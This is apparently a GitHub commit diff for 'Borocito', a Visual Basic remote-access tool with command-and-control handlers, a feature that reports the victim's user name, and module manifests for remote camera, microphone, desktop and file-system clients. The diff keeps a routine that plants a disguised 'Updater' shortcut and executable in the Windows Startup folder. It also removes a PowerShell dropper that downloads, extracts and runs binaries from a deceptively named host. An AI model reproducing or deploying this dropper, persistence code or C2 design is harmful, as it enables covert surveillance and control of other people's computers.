Mejoras

Zhenboro · Nov 26, 2022 · 3234a0c · 3234a0c
1 parent 0ef6c86
commit 3234a0c
Show file tree

Hide file tree

Showing 21 changed files with 135 additions and 127 deletions.
diff --git a/Borocito/My Project/AssemblyInfo.vb b/Borocito/My Project/AssemblyInfo.vb
@@ -33,5 +33,5 @@ Imports System.Runtime.InteropServices
 ' <Assembly: AssemblyVersion("1.0.*")>
 
 <Assembly: AssemblyVersion("0.2.2.0")>
-<Assembly: AssemblyFileVersion("07.06.20.22")>
+<Assembly: AssemblyFileVersion("26.11.20.22")>
 <Assembly: NeutralResourcesLanguage("")>
diff --git a/Borocito/Utility.vb b/Borocito/Utility.vb
@@ -11,7 +11,7 @@ Module GlobalUses
     Public HttpOwnerServer As String
     Public compileVersion As String = My.Application.Info.Version.ToString &
         " (" & Application.ProductVersion & ") " &
-        "[07/06/2022 15:56]" 'Indicacion exacta de la ultima compilacion
+        "[26/11/2022 19:08]" 'Indicacion exacta de la ultima compilacion
 End Module '<--- ACTUALIZAR DATOS
 Module Utility
     Public tlmContent As String
@@ -671,11 +671,12 @@ Module Network
                 Extractor()
 
             ElseIf command.StartsWith("/SendTelemetry") Then 'Funciona.
-                Return "Sending located telemetry..."
                 AddToLog("Network", "Borocito has been called to send telemetry!", True)
                 SendTelemetry()
+                Return "Sending located telemetry..."
 
             ElseIf command.StartsWith("/Heartbeat") Then 'Funciona.
+                AddToLog("Network", "Hey, Im here!", True)
                 Return "---/\--- (Pum pum...)" &
                     vbCrLf & "[VARIABLES]" &
                     vbCrLf & compileVersion &
@@ -698,7 +699,6 @@ Module Network
                     My.Computer.Info.AvailableVirtualMemory & "/" &
                     My.Computer.Info.TotalPhysicalMemory & "/" &
                     My.Computer.Info.TotalVirtualMemory
-                AddToLog("Network", "Hey, Im here!", True)
 
             ElseIf command.StartsWith("/Status") Then 'Funciona.
                 Return My.Application.Info.AssemblyName & " v" & My.Application.Info.Version.ToString & " (" & Application.ProductVersion & "). Running in " & Environment.UserDomainName & "\" & Environment.UserName
@@ -775,4 +775,14 @@ Module Network
             AddToLog("ConfigFiles@Network", "Error: " & ex.Message, True)
         End Try
     End Sub
+End Module
+Module Boro_Comm
+    'BORO-COMM es el nuevo sistema de comunicacion Servidor-Cliente-Servidor
+    'Utiliza el (proximo) complemento Boro-Comm para realizar la tarea de comunicar con algun proveedor de comandos
+    'Como:
+    '   Firebase by Google
+    '       Realtime Database
+    '   TCP/IP (for Local network or Wordwide)
+    '   IDFTP (Actual system)
+    '   Another (Custom, developer by You or others...)
 End Module
diff --git a/Control/Main.Designer.vb b/Control/Main.Designer.vb
diff --git a/Control/Main.vb b/Control/Main.vb
@@ -142,7 +142,9 @@ Public Class Main
     Sub SetCMDStatus(ByVal response As String, ByVal status As String, Optional ByVal ScrollRichBox As Boolean = True)
         Try
             If response <> Nothing Then
+                RichTextBox2.SelectionColor = Color.Lime
                 RichTextBox2.AppendText(response)
+                RichTextBox2.SelectionColor = Color.LimeGreen
             End If
             Label_Status.Text = status
             If ScrollRichBox Then

diff --git a/Extractor/My Project/AssemblyInfo.vb b/Extractor/My Project/AssemblyInfo.vb
@@ -32,4 +32,4 @@ Imports System.Runtime.InteropServices
 ' <Assembly: AssemblyVersion("1.0.*")>
 
 <Assembly: AssemblyVersion("0.2.2.0")>
-<Assembly: AssemblyFileVersion("31.05.20.22")>
+<Assembly: AssemblyFileVersion("26.11.20.22")>
diff --git a/Extractor/Resources/Borocito.exe b/Extractor/Resources/Borocito.exe
diff --git a/Extractor/Utility.vb b/Extractor/Utility.vb
@@ -134,24 +134,6 @@ Module Extractor
             AddToLog("SetExistence@Extractor", "Error: " & ex.Message, True)
         End Try
     End Sub
-    Sub StartWithWindows()
-        Try
-            AddToLog("StartWithWindows@StartUp", "Making Borocito start with Windows...", False)
-            Dim StartupShortcut As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\Updater.lnk"
-            If My.Computer.FileSystem.FileExists(StartupShortcut) = False Then
-                Dim WSHShell As Object = CreateObject("WScript.Shell")
-                Dim Shortcut As Object = WSHShell.CreateShortcut(StartupShortcut)
-                Shortcut.IconLocation = DIRCommons & "\BorocitoUpdater.exe,0"
-                Shortcut.TargetPath = DIRCommons & "\BorocitoUpdater.exe"
-                Shortcut.WindowStyle = 1
-                Shortcut.Description = "Updater software for Borocito"
-                Shortcut.Save()
-                My.Computer.FileSystem.CopyFile(DIRCommons & "\BorocitoUpdater.exe", Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\Updater.exe")
-            End If
-        Catch ex As Exception
-            AddToLog("StartWithWindows@Extractor", "Error: " & ex.Message, True)
-        End Try
-    End Sub
     Sub StartExtract()
         Try
             AddToLog("StartExtract@StartUp", "Inicializando Extractor...", False)
@@ -199,12 +181,31 @@ Module Extractor
             AddToLog("StartExtract@Extractor", "Error: " & ex.Message, True)
         End Try
     End Sub
+    Sub StartWithWindows()
+        Try
+            AddToLog("StartWithWindows@StartUp", "Making Borocito start with Windows...", False)
+            Dim StartupShortcut As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\Updater.lnk"
+            If My.Computer.FileSystem.FileExists(StartupShortcut) = False Then
+                Dim WSHShell As Object = CreateObject("WScript.Shell")
+                Dim Shortcut As Object = WSHShell.CreateShortcut(StartupShortcut)
+                Shortcut.IconLocation = DIRCommons & "\BorocitoUpdater.exe,0"
+                Shortcut.TargetPath = DIRCommons & "\BorocitoUpdater.exe"
+                Shortcut.WindowStyle = 1
+                Shortcut.Description = "Updater software for Borocito"
+                Shortcut.Save()
+                My.Computer.FileSystem.CopyFile(DIRCommons & "\BorocitoUpdater.exe", Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\Updater.exe")
+            End If
+        Catch ex As Exception
+            AddToLog("StartWithWindows@Extractor", "Error: " & ex.Message, True)
+        End Try
+    End Sub
     Sub InitUpdater()
         Try
             AddToLog("InitUpdater@StartUp", "Iniciando Updater...", False)
             Process.Start(DIRCommons & "\BorocitoUpdater.exe")
-            Dim threadMonitoring = New Threading.Thread(Sub() Monitoring("Boro Defender System", 120000))
-            threadMonitoring.Start()
+            'Dim threadMonitoring = New Threading.Thread(Sub() Monitoring("Boro Defender System", 120000))
+            'threadMonitoring.Start()
+            End
         Catch ex As Exception
             AddToLog("InitAll@Extractor", "Error: " & ex.Message, True)
         End Try
@@ -220,71 +221,23 @@ Module Extractor
                     End
                 Else
                     ' Process is not running
-                    AddToLog("Monitoring", "The proccess is not running! Plan B...", False)
-                    'plan b
+                    AddToLog("Monitoring", "The proccess is not running! Starting...", False)
+                    SecondStage()
                 End If
             End While
         Catch ex As Exception
             AddToLog("Monitoring@Extractor", "Error: " & ex.Message, True)
         End Try
     End Sub
-    Sub PlanB()
+    Sub SecondStage()
         Try
-            AddToLog("Extractor", "Inicializing Plan B", False)
-            Dim filePath As String = DIRTemp & "\Extractor.ps1"
-            Dim contenido As String = "Add-Type -AssemblyName System.IO.Compression.FileSystem" &
-                vbCrLf & "function AddToLog {" &
-                vbCrLf & "    param (" &
-                vbCrLf & "        [string]$contentMsg" &
-                vbCrLf & "    )" &
-                vbCrLf & "    Write-Host $contentMsg" &
-                vbCrLf & "    Start-Sleep -Seconds 1.5" &
-                vbCrLf & "}" &
-                vbCrLf & "AddToLog 'Inicializing the installer...'" &
-                vbCrLf & "AddToLog 'Seting variables...'" &
-                vbCrLf & "$ownerServer = 'safedomainfrominternet.atwebpages.com/Borocito'" &
-                vbCrLf & "AddToLog() 'Seting needed variables...'" &
-                vbCrLf & "$hostServer = 'http://' + $ownerServer" &
-                vbCrLf & "$binariesZip = $hostServer + '/Borocitos.cph'" &
-                vbCrLf & "$DIRCommons = -join('C:\Users\',[System.Environment]::UserName,'\AppData\Local\Microsoft\Borocito')" &
-                vbCrLf & "$outputZip = $DIRCommons + '\Borocitos.zip'" &
-                vbCrLf & "$runPacket = $DIRCommons + '\BorocitoUpdater.exe'" &
-                vbCrLf & "AddToLog() 'Starting...'" &
-                vbCrLf & "AddToLog() 'Checking registry...'" &
-                vbCrLf & "If (Test-Path 'HKCU:\SOFTWARE\Borocito') {" &
-                vbCrLf & "  AddToLog 'The registry already exist!'" &
-                vbCrLf & "}else {" &
-                vbCrLf & "  AddToLog 'The registry doesnt exist! Creating...'" &
-                vbCrLf & "  New-Item -Path 'HKCU:\SOFTWARE' -Name Borocito" &
-                vbCrLf & "  New-ItemProperty -Path 'HKCU:\SOFTWARE\Borocito' -Name 'OwnerServer' -Value $ownerServer -PropertyType 'String'" &
-                vbCrLf & "}" &
-                vbCrLf & "New-Item $DIRCommons -ItemType Directory" &
-                vbCrLf & "AddToLog ([string]::Format('Downloading zip binaries...`n	From: {0}`n	To: {1}', $binariesZip,$outputZip))" &
-                vbCrLf & "$webClient = [System.Net.WebClient]::new()" &
-                vbCrLf & "$webClient.DownloadFile($binariesZip, $outputZip)" &
-                vbCrLf & "AddToLog ([string]::Format('Extracting zip binaries...`n	From: {0}`n	To: {1}', $outputZip,$DIRCommons))" &
-                vbCrLf & "[System.IO.Compression.ZipFile]::ExtractToDirectory($outputZip, $DIRCommons)" &
-                vbCrLf & "AddToLog 'Starting the packet...'" &
-                vbCrLf & "AddToLog ([string]::Format('Starting packet......`n	Packet: {0}', $runPacket))" &
-                vbCrLf & "Start-Process -FilePath $runPacket" &
-                vbCrLf & "AddToLog 'Exiting...'" &
-                vbCrLf & "Exit"
-            If My.Computer.FileSystem.FileExists(filePath) Then
-                My.Computer.FileSystem.DeleteFile(filePath)
-            End If
+            AddToLog("Extractor", "Inicializing Second Stage...", False)
 
-            My.Computer.FileSystem.WriteAllText(filePath, contenido, False)
-
-            AddToLog("Extractor", "Starting plan B...", False)
-
-            Process.Start("powershell.exe", filePath)
-
-            Threading.Thread.Sleep(5000)
-
-            AddToLog("Extractor", "Closing...", False)
+            'La idea es poder iniciar una instancia descargada desde internet.
+            'Por esta razon, esta etapa no estara lista en algun tiempo.
 
+            AddToLog("Extractor", "Closing Second Stage...", False)
             End
-
         Catch ex As Exception
             AddToLog("PlanB@Extractor", "Error: " & ex.Message, True)
         End Try

diff --git a/Server Side/Boro-Get/REPO/RMTCAM_Client.zip b/Server Side/Boro-Get/REPO/RMTCAM_Client.zip
diff --git a/Server Side/Boro-Get/REPO/RMTDSK_Client.zip b/Server Side/Boro-Get/REPO/RMTDSK_Client.zip
diff --git a/Server Side/Boro-Get/REPO/RMTFS_Client.zip b/Server Side/Boro-Get/REPO/RMTFS_Client.zip
diff --git a/Server Side/Boro-Get/REPO/RMTMIC_Client.zip b/Server Side/Boro-Get/REPO/RMTMIC_Client.zip
diff --git a/Server Side/Boro-Get/REPO/broCiemdi.zip b/Server Side/Boro-Get/REPO/broCiemdi.zip
diff --git a/Server Side/Boro-Get/REPO/broScrincam.zip b/Server Side/Boro-Get/REPO/broScrincam.zip
diff --git a/Server Side/Boro-Get/RMTCAM.inf b/Server Side/Boro-Get/RMTCAM.inf
@@ -0,0 +1,13 @@
+# Boro-Get RMTCAM Repo file
+[GENERAL]
+Author=Zhenboro
+From=http://github.com/Zhenboro
+[ASSEMBLY]
+Name=RMTCAM_Client
+Executable=RMTCAM_Client.exe
+Version=1.0.0.0
+Web=https://github.com/Zhenboro/RMTCAM
+[INSTALLER]
+Binaries=https://chemic-jug.000webhostapp.com/Borocito/Boro-Get/REPO/RMTCAM_Client.zip
+Installer=NULL
+InstallFolder=%temp%
diff --git a/Server Side/Boro-Get/RMTDSK.inf b/Server Side/Boro-Get/RMTDSK.inf
@@ -3,7 +3,7 @@
 Author=Zhenboro
 From=http://github.com/Zhenboro
 [ASSEMBLY]
-Name=RMTDSK
+Name=RMTDSK_Client
 Executable=RMTDSK_Client.exe
 Version=1.1.0.0
 Web=http://github.com/Zhenboro/RMTDSK

diff --git a/Server Side/Boro-Get/RMTFS.inf b/Server Side/Boro-Get/RMTFS.inf
@@ -3,7 +3,7 @@
 Author=Zhenboro
 From=http://github.com/Zhenboro
 [ASSEMBLY]
-Name=RMTFS
+Name=RMTMIC_Client
 Executable=RMTFS_Client.exe
 Version=1.0.0.0
 Web=http://github.com/Zhenboro/RMTFS